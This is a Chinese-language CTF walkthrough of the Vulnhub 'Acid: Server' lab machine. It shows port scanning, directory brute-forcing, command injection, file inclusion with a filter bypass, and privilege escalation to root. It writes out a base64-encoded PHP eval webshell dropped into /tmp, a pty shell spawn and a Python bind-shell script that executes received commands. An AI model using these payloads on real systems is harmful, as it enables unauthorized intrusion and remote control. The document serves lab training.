先看题目描述
物理机连接VPN后,虚拟机使用NAT模式便能共享主机的VPN
先进行主机探测
发现两台主机,分别对他们进行全端口扫描
nmap -T4 -sS -sV -O -p 0-65535 172.25.0.1
nmap -T4 -sS -sV -Pn -O -p 0-65535 172.25.0.10
访问发现33447存在Web服务,是Apache的,但不知道咋回事,nmap没扫出来
右键源代码发现一串Hex编码,解码后发现是bese64,继续解码,内容为wow.jpg
网站标题里有个路径
访问是个登入页面
在源代码里发现 gkg.q
这是随机字符串,使用rot13解密并对其进行反转得到acid.txt
访问会要求登入
再进行一波目录扫描
使用dirsearch进行扫描
啥也不是……
访问/image/wow.jpg …………666,一张吊图
下载图片后用010Edit打开,发现一串字符
37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
使用ASCII转码:7aee0f6d588ed9905ee37f16a7c610d4,去网站上使用MD5解密:63425
(辛苦解密半天……结果后面发现没啥用)
多款扫描器没扫出啥结果,使用owasp dirbuster进行目录爆破,有Windows版本,需要jdk8运行
也可以使用wfuzz去爆破目录
没啥东西,继续爆破/Challenge目录
逐个访问
访问/cake.php 时发现/Magic_Box
继续爆破 /Challenge/Magic_Box
访问/Challenge/Magic_Box/command.php,看这样子必定试一波命令注入
您猜怎么着,还真是
这里的靶机环境是不出网的,没法反弹shell,只好翻翻目录,看看网站源码
这个include.php熟悉不熟悉,可疑不可疑?这不得读取源码,分析一波,
您瞧瞧,这不就是经典的文件包含
直接访问include.php会跳转
这怎么搞,搞个屁,对于Vulhnub的玩法最好是Google一波,然后看到一篇大哥的文章对我有点用,我也在想有没有办法登入,然后利用文件包含结合RCE将它日穿,爆破是一种思路,但这个靶机不太适用
回到前面
大哥的文章说登入验证貌似与forms.js有关,
可以看到有版权信息
我就直接Google搜索其版权信息“peredur.net”,在其github中发现默认密码
登入成功
此时访问include.php就不会跳转登入了,能够进行文件包含了
测试发现只在tmp文件夹下有权限,能写文件,那就写Shell,然后文件包含,
但是发现$_组合便有过滤,
此类写进去就会变成
破题之法:
system('echo PD9waHAgQGV2YWwoJF9QT1NUWydhYmMnXSk7Pz4= | base64 -d >/tmp/w1.php');
?>
该代码执行后会在/tmp/w1.php里写入
先在tmp文件夹里使用touch命令创建abc.php
然后将前面的代码写进去,多写一个phpinfo();是为了方便确定php文件被包含成功
尝试包含,有phpinfo页面 ,说明包含成功
查看Webshell是否写入
测试Webshell有没有用
为了方便操作与提权,开蚁剑的好,这里要配置Cookie信息
(先在浏览器登入,然后复制其cookie填入,注意,时间一长cookie会失效导致蚁剑断开 )
成功连接
翻找用户文件
在Linux系统中,".sudo_as_admin_successful" 是由sudo命令创建的一个文件。当使用sudo命令以管理员权限运行一个命令时,它将创建这个文件来指示该命令已成功以管理员权限运行。
针对该用户进行文件的查找,该命令用于在整个文件系统中查找所有属于用户"acid"的文件并将结果输出到屏幕上
find / -user acid 2>/dev/null
发现一个流量包
下载下来分析,分数据包种类跟踪流,查看数据包信息TCP时发现
应该是账号密码
要切换用户就要想办法获取交互式Shell,该环境存在python,且自带的发行版nc没有-e参数
哪我就上传一个nc,加权限,执行
python -c 'import pty;pty.spawn("/bin/bash")'
利用python取得一个半交互式shell
此时就可以使用su命令切换用户
一路切换,一直切换到了root,嘿嘿。
可以为所欲为了,开找flag
本来是想用python脚本启动监听,再进行连接的,可我服务器可以运行的代码跑靶机上就不行了,(靶机python2和3都有)
这是我用的代码,为正向shell而生,然而,没在靶机上跑起来……
import socket
import subprocess
HOST = '' # 监听所有网络接口
PORT = 4444 # 监听端口
# 创建socket对象并绑定到指定的端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
# 开始监听端口
s.listen()
# 等待客户端连接并执行命令
conn, addr = s.accept()
while True:
command = conn.recv(1024).decode('utf-8')
if not command:
break
output = subprocess.getoutput(command)
conn.send(output.encode('utf-8'))
# 关闭连接
conn.close()
参考学习:
https://chat.openai.com/chat
https://www.cnblogs.com/k1115h0t/p/15857648.html
CTF Walkthrough – Acid: Server (Vulnhub) – Jasper & Garrison